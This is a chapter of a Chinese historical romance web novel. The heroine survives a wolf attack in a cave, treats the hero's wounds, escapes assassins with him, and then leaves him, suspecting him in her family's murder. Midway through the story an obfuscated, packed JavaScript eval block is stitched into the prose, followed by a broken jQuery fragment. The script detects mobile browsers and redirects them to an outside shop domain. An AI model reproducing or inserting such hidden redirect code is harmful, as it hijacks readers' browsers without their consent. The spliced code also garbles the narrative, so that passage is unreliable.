奇山异石,树林环绕之中只有一个潦草破烂的山洞。
洞中躺着一个疲累至极的女子。
藺允叠方才在裴翙的怀中睡着了,她实在是太累了,她的身体锻炼了一天,早已经酸酸麻麻了。
她的眼前亮得发光,火热的源头暖着她的身子,她睡得舒服,直到感觉到热烫,她才迷迷糊糊睁了眼。
一醒来,她还来不及揉揉惺忪的眼,就死死地捂住自己的嘴,害怕自己叫出声惹怒了它。
不远处的洞口,有一只冒着金光的狼!
它张着嘴流着哈喇子,尖锐的牙齿锋利,不停地上下磨合,似是饿了。
她小心翼翼地举起火把防备着它,袖箭不知道哪儿去了。
她再次口吐芬芳,她这一天的经历说出去哪有人信,合着把她当靶子呗!
她没有力气了,才举起片刻她就感到疲倦了,但是她不能放低姿态。
狼是欺软怕硬的动物,她只能狠狠黑着脸,装出一副强势不好惹的模样。
实则她的脚已经抖得不行了,裴翙去哪儿了?
他不会丢下她跑了吧?
荒郊野岭的,他肯定住不惯,说不定自己下山住客栈去了。
男人真是靠不住。
好歹带着她一起啊。
藺允叠一滴汗落入火中,火烧得更旺了。
狼似是受到了刺激,走进了几步,向她挨近。
她忍住不后退逃跑的冲动,一旦她逃了,下场只有一个。
她只能心中祈祷着裴翙没走,祈祷着他快些回来。
其实他人也没有那么罪大恶极。
狼在原地转了起来,似是在预估她的力量,预估它的胜算。
藺允叠方寸大乱,脚步不禁一跌。
狼瞬间张着大嘴朝她扑来,它知道这场对弈,它赢了。
藺允叠凭本能挥动着火把试图打退它,还好火把的光很亮,狼受影响没有咬到她,但这好像激起了它的斗志。
它越发凶猛,嘴巴也越张越大,恨不得立即把她吞吃入腹。
藺允叠不敢硬来,只能不停挥动着火把驱赶它。
她退到洞口,狼不断地扑上来,在她身边转来转去。
眼看就要咬上她的手臂,突然一阵疾风刮来,她看不清它也发了狠,手中的火把狠狠地打了上去。
“嗯哼……”
一道痛苦的声音响起。
藺允叠循声望去。
裴翙!
他捂着肚子暗自闷哼。
她打伤他了!
此时的狼已经被一剑刺死,他又救了她!
藺允叠赶快扶住他坐下。
“你怎么样?哪儿受伤了?为什么不躲?你不是武功高强吗?”
看着为他忙上忙下翻他衣袍的人儿,裴翙心里像是灌了蜜一样。
他也适当装了柔弱:
“好疼,我浑身都疼。”
藺允叠着急,慌乱地按着他的身体摸索,几乎将他摸了个遍。
裴翙却倏地笑了起来。
仰头大笑,身子都颤了起来。
藺允叠这才知道自己被耍了,“你骗我!”
她把他推倒,自己往前走,但没等她起身,面前出现了狼的尸体,死状凄惨,血流成河。
“啊!”
她被吓得腿软倒地,使劲后退,这一退,又退到了他的怀中去了。
这么好的机会他怎会放过,便由着她蹭。
藺允叠再也绷不住了,她害怕!今天一整天她都恐惧极了!
一个又一个的危机,她也是个娇滴滴的小娘子,她能不害怕吗?
她索性就哭了起来,泪水成串地滑落她的脸颊,她泣不成声。
裴翙的腿感受到了她滴落的泪滴,他也不逗她了。
他拉着她,她却不肯转身,头干脆埋在膝盖哭得稀里哗啦。
裴翙眉一拧:
“我真的受伤了,没骗你,你要不然脱了我的衣袍亲眼看看。”
藺允叠知道他受伤了,当时那一箭他替她挨了。
但她现在不想理他,她要继续哭,释放情绪。
见她不信,他直接撕了他的袍子。
“哗哗哗!”
藺允叠被这声音吸引,她一抬头。
精壮的身体,块垒分明的肌肉上面渗露出血迹。
他竟然伤得这么严重,腹部一道口子皮肉翻飞。
原来洞中时的血迹是这么来的。
“娘子,我为了救你,可是受了大罪,你难道是心疼了?”
谁心疼他!大言不惭!
而且藺允叠才不傻,这才不是他为救她受的伤呢,李麻子怎么可能有这种力道。
她想起了爹娘,她从来都是在他们的保护下安然度日,哪经历过这些,她抱紧了双腿,转了身体继续哭。
“阿耶,阿娘,我害怕,呜呜呜……”
裴翙正了色,又穿上了袍子。
“没有狼了,你要是再哭,说不定还会引来别的什么动物。”
他从怀中掏出了一包果子,再捡起他打的几只兔子烤了起来。
四周除了火的呲呲声寂静无声,藺允叠哭得也差不多了,渐渐地,一股香味儿飘进她的鼻中。
他烤的什么,怎么这么香?
她慢慢地抬起头,眼神瞟向他,兔子!
好汉不吃眼前亏,她立马起身走到他身边。
裴翙余光一瞥,暗自欣喜,他还没说话,就见小青梅扯了他的衣袍。
他上半身赤身裸.体,他还没反应过来她的手就碰上了他的背。
她在帮他治伤。
她挑了他的腐肉,怕他疼得厉害,还轻轻吹气,裴翙的眼眸瞬间暗了,肌肉紧绷。
挑了腐肉之后她开始着手给他包扎,一圈一圈绕过他的胸膛。
他手中的兔子被烤得焦黄,他努力克制他的欲望。
后背处理了,她又到他跟前处理腹部的刀伤。
这刀伤有些黑了,想来是她方才用火烫的。
她有些愧疚,蹲着给他轻轻挑开。
裴翙的眼神落在了她的身上,他的目光越来越火热。
藺允叠却没有注意,只用心地包扎。
他生生忍着,她已经哭肿了眼,他不想再把她吓跑。
很快,他放肆的目光收敛了,藺允叠一把夺过一只烤兔吃了起来。
“你别多想,你救了我,我帮你治疗是应该的。”
裴翙不语,悄悄弯了嘴角,也吃了起来。
吃饱后的藺允叠看到地上有些果子,她偷摸地拿了几个。
只是她发现这洞中没了狼的尸体连血迹也被没了。
她垂了垂眼皮,沉默不语。
这裴翙,还以为他多不近女色,当初带回了她,现在又救了别的女人。
当真是闷骚。
怪不得想要她的身体,他根本就是多情的下半身动物。
洞中氛围有些不对劲,裴翙望向她,她脸蛋子鼓鼓,不知道干嘛呢。
他想了想,认真地问她:“打算怎么报答?”
藺允叠一愣。
裴翙的目光直直地在她身上打转,似乎她若反悔他就要惩罚她一般。
“你忘了你说的话?”
她转了转眼睛,他这副模样当真可怖,粗长的眉头竖起,骇人得很。
她不知为什么,总有种熟悉感,而且她越跟他接近这种感觉就越强烈。
当时她只是耍耍嘴上功夫,他什么都不缺吧,现在还没真正脱险,她不能得罪他,她搪塞道:
“郎君想要什么出去之后我都满足。”
裴翙接话:“那就先欠着。”
*
秋风呼呼吹,山洞又透风,洞中入睡的人儿冷得发抖。
不知何时,身上好似多了件御寒的东西,她这才安然入眠。
裴翙守在洞口防止再有野兽出没,一整夜,他都没睡。
在来救她之前,他正与人打斗,来人太多,他受了伤。
现在那人已经越来越不信任他,他必须要及时找到证据,策反朝中官员。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053227|149068||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
更何况,小青梅都查到这儿了,真相就要浮出水面了。
她若是知道了,一定会不管不顾复仇。
天蒙蒙亮,藺允叠又在裴翙的怀中。
他抱着她翻山越岭,身后是另一批杀手。
她被吓醒了,极限逃亡啊,这是。
看来假.币一事当真大有文章,她想起窑子里的伙计说的李大人,应当就是李吉言。
他一个七品小官,怎么有能力避过朝廷官府私自构造窑子,还养了大量的杀手,可见他只是个跑腿的。
她抬头望向脸上冒满了胡渣的男人。
裴翙意识到怀中的人儿已经醒了,他对她说:
“要不再睡会儿?”
藺允叠一听这话气笑了,什么时候了,还睡!她睡得着吗?
身后的杀手追了上来。
这批杀手应该与窑子外的是同一家。
武功招数相差不大,只是轻功要好些。
看来雇主下定决心要杀了他们。
“咻咻咻!”
萃了毒的箭在山野密林之中不断穿梭,树木被一箭贯穿,枝上的叶子哗哗哗地投降败落。
脚下的山地还有捕猎的陷阱,藺允叠浑身被风刮得生疼。
杀手们呈圈状围住他们,他们就是待捕之兽,敌众我寡,再这么下去等裴翙力竭之时,就是他们丧命之时。
藺允叠再三思索,纠结对他道:
“郎君,放我下来吧。”
裴翙瞄了她一眼,略带讥讽道:
“娘子放手便是,我没有意见。”
藺允叠视线一转,只见她的两只手把他抓得死死的,领口的布都快被她抓破了,腿还挂在他身上。
她脸一红,暗自腹诽,这也不能怪她,本能而已。
霎那间,杀手排列成排,三人踩着他们的肩助力一跃,飞得更快了,也离他们更近了。
裴翙眼神凌厉,紧紧擒住身上的身躯健步如飞,四处乱窜,迷惑视线。
一会钻进林中一会在空中游移,她一会见灌木一会见飞鸟,被颠得要吐了。
她实在受不住了:
“郎君,放我下来,我们这样会被抓住的,你别管我,你先跑,小女子感激郎君大恩,但是我不能再拖累你了。”
她说的字字真情,裴翙却不信,“你确实有些胖。”
她暗暗剜了他一眼,她这是丰腴。
温情小意这招行不通,藺允叠只能正经望着他道:“那这样,我知道郎君一路上都在作记号,想必很快就有援军了,郎君安心去抗敌,我帮你放信号。”
他们此时已经暂时甩掉了杀手,藏匿在一个隐蔽的山石旁。
裴翙怀疑地盯着她,见他还是不信,她干脆吼了他:
“郎君还在犹豫什么,杀手马上要追上来了,郎君威武霸气,你武功好杀他们个片甲不留不成问题,我保证就在这等你,不会走的!”
这时,不远处的林子动了动,追上来了,裴翙只得作罢,他眼神含戾气,“娘子不会是要恩将仇报吧?”
藺允叠坚定摇摇头,再三保证她不会。
树木晃动地越来越厉害,裴翙最后瞧了她一眼就飞跑了。
她拍了拍胸口,身子放松了。
半个时辰之后,裴翙转来,他身上全是血,身上的伤口又裂开了,但他丝毫不在意,只到处寻找着她。
可这里哪还有什么人?连半个影子都看不到!
他拳头紧握,怒意四起。
她又一个人走了,不怕死吗?
此刻已经安全脱险的藺允叠打了个寒颤,她早就观察到他们已经到了山脚了,快要安全了。
再者她也没说错,以裴翙的身手,杀他们绰绰有余。
她必须要走,要是真和他一起她的身份就要暴露了。
更何况,她的眸子瞬间寒冷,那个号令暗卫的宝物竟然是个镯子!
祝西他那批发的镯子!
藺家灭门一事与他有关!
他又是裴翙的人,所以这事与裴翙有没有关系?